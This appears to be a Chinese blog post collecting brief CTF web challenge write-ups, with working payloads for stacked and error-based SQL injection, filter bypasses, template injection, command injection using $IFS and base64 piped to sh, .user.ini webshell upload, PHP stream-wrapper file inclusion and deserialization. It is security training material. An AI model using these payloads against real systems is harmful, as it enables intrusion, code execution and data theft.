[ACTF2020 新生赛]BackupFile[极客大挑战 2019]Upload 本来一题一篇文章,结果发现太浪费了,所以整合起来了,
随便注
随便输入一个单引号,报错
order by 3 就不行了
尝试联合查询的时候出现提示:
“/select|update|delete|drop|insert|where|./i”
一个正则可视化网站:https://regexper.com
使用堆叠注入:1’;show tables;#
看一下表里有什么列名:1’;show columns from 1919810931114514
;#
(注意,字符串为表名的表操作时要加反引号)
但是没办法使用 select * from 1919810931114514
看网上师傅们有两种方法,第一种:mysql 预定义语句
1‘;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#
hex decode 以后是:?inject=1’;SeT@a=select * from **1919810931114514**
;Prepare execsql from @a;execute execsql;#
还有一种方法时是:改表名 **这样查询的时候就可以查询到 flag
?inject=1**’;
rename tables words
to test
;rename tables 1919810931114514
to words
;
alter table words
change flag
id
varchar(100);#
意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words
把列名 flag 改为 id
这样在 1’; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了
easy_tornado
打开看到有三个文件:
三个文件内容如下:
通过 url 知道,访问一个文件需要知道:filename 跟 filehash
企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入
**
tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,
报错时候的 url 是这样的
尝试把后面换成:111
,输出了!
在 tornado 模板中,存在一些可以访问的快速对象,例如:
1 | <title>{{ escape(handler.settings["cookie"]) }}</title> |
那么输入:****
**
拿到 cookie 就 OK 了!
1 | import hashlib |
EasySQL
这道题目有两种解法,一种是:*,1,这样查询结果会把表中所有的数据返回来(据说是非预期解,出题人可能忘记过滤掉*了)
还有一种说是考察 sql_mode,通过堆叠注入修改 sql_mode,
可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 ||
视为字符串连接符而非 或 运算符
因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag
Payload :
1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
拼接后就变成了
SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag
高明的黑客
访问提示源码在 www.tar.gz
在网址后面加上 www.tar.gz 是可以下载下来的
下下来里面超级多 php 文件,用大佬的 python 脚本筛选出来
1 | import os,re |
我参考的网上的 wp 直接把 x 开头之前的 php 文件删掉了,不然要跑很长时间(php 版本要用 7 以上的)
访问 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag
admin
网上的 wp 有三个方法,这里只记录一个,Unicode 欺骗
https://www.anquanke.com/post/id/164086
注册用户:ᴬdmin
会将其变成:Admin
修改密码的时候会变成:admin
这样就可以直接访问 admin 用户
checkin
拿到题目,是一个上传界面
尝试上传,php 显示非法后缀,传图马显示内容里面有 <?
尝试这样的:
GIF89a
成功上传,同时还显示了文件夹下的内容
想上传 .htaccess 把图片马解析成为 php 但是失败了
看 wp 以后学到了 .user.ini 来上传后门
了解一下,先从 php.ini 说起 php.ini 是 php 的默认配置文件,其中包括了很多 php 的配置
其中 PHP_INI_USER 的配置项,可以在 ini_set () 函数中设置、注册表中设置,再就是.user.ini 中设置可以理解为 php 是允许用户自定义的 php.ini
实际上,除了 PHP_INI_SYSTEM
以外的模式(包括 PHP_INI_ALL)都是可以通过.user.ini 来设置的
而且 php.ini 是种动态加载的 ini 文件,不需要重启服务,只需要等待user_ini.cache_ttl
所设置的时间(默认 300 秒)就可以
需要看的是这两个选项,它们的作用是指定一个文件,会自动把这个文件包含在其他要执行的文件里面,相当于 require()
使用方法很简单,只需要在 .user.ini 文件中写:
auto_prepend_file=文件名(比如:yichen.jpg)
解题:先上传一个 .user.ini 文件
在上传一个 yichen.jpg 文件
然后在访问同一文件夹下的 index.php 就可以得到 flag 了
Hack World
sql 注入题目,通过基于时间的盲注可以测出来,但是不会写脚本,懒得一个一个测,看了师傅们的 wp
师傅们用了 异或 这种操作,长见识了,师傅们的 WP:
(意识到应该整理一些 sqli 的 FUZZ 字典
1 | import requests |
Easy Cacl
** PHP 字符串解析特性**:
当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替
参考:https://www.freebuf.com/articles/web/213359.html
在 freebuf 的文章中,发现了上面这些是可以被用来替换的
用到这道题目上来, WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP 在解析的时候会把空格删掉,这样就可以命令执行了,同时 calc.php 中还有个黑名单,可以使用 chr() 来绕过
查看目录
calc.php? num=1;var_dump(scandir(chr(47)))
查看 flag
calc.php? num=1;var_dump(readfile(chr(47).f1agg))
不太明白为啥直接 f1agg 不行
[极客大挑战 2019]LoveSQL
1 | admin' order by 4# 显示 Unknown column '4' in 'order clause' |
[ACTF2020 新生赛]Include
伪协议文件包含
?file=php://filter/convert.base64-encode/resource=flag.php
[GXYCTF2019]Ping Ping Ping
访问之后只有个 ?ip=,尝试 127.0.0.1;ls 出来结果,然后去 cat 的时候禁用了空格,用 $IFS$6 替代(数字随意),但是 flag 也被过滤了
可以直接 cat$IFS$6ls
也可以 echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
[ACTF2020 新生赛]Exec
post 传参
target=;cat ../../../flag
[极客大挑战 2019]Http
访问页面有个 Secret.php
根据提示最后这样
[极客大挑战 2019]BabySQL
1 | ad1min'uniunionon seselectlect 1,group_concat(schema_name),3 frfromom infoorrmation_schema.schemata# |
[极客大挑战 2019]Upload
上传 phtml 的马,内容是
注意改一下 Content-Type: image/jpeg
1 | GIF89a |
然后蚁剑连接,找到 flag
[ACTF2020 新生赛]BackupFile
在 index.php.bak 看到源码,大致内容:
1 |
|
弱类型,直接传 key=123 就可以
[ACTF2020 新生赛]Upload
跟 https://www.yuque.com/hxfqg9/web/adhlix#lIrAK 一样
[极客大挑战 2019]BuyFlag
[ZJCTF 2019]NiZhuanSiWei
php 代码
1 |
|
?text=php://input&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
post 传参 welcome to the zjctf
[BJDCTF2020]Easy MD5
访问重定向得到 hint
提交:ffifdyop
然后一个 MD5 弱类型、一个 MD5 强碰撞
[网鼎杯 2018]Fakebook
通过个人界面的 sql 注入查询得到的数据可以看到是经过序列化后的
下面有个 the contents of his/her blog,因为在
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users--+
在源代码中得到 base64,解码得到 flag
[极客大挑战 2019]HardSQL
爆库:geek1'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表:H4rDsq11'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
爆字段:id,username,password1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
爆数据1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
[GXYCTF2019]BabySQli
在注释中有提示:select * from user where username = '$name'
username:1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#
password:123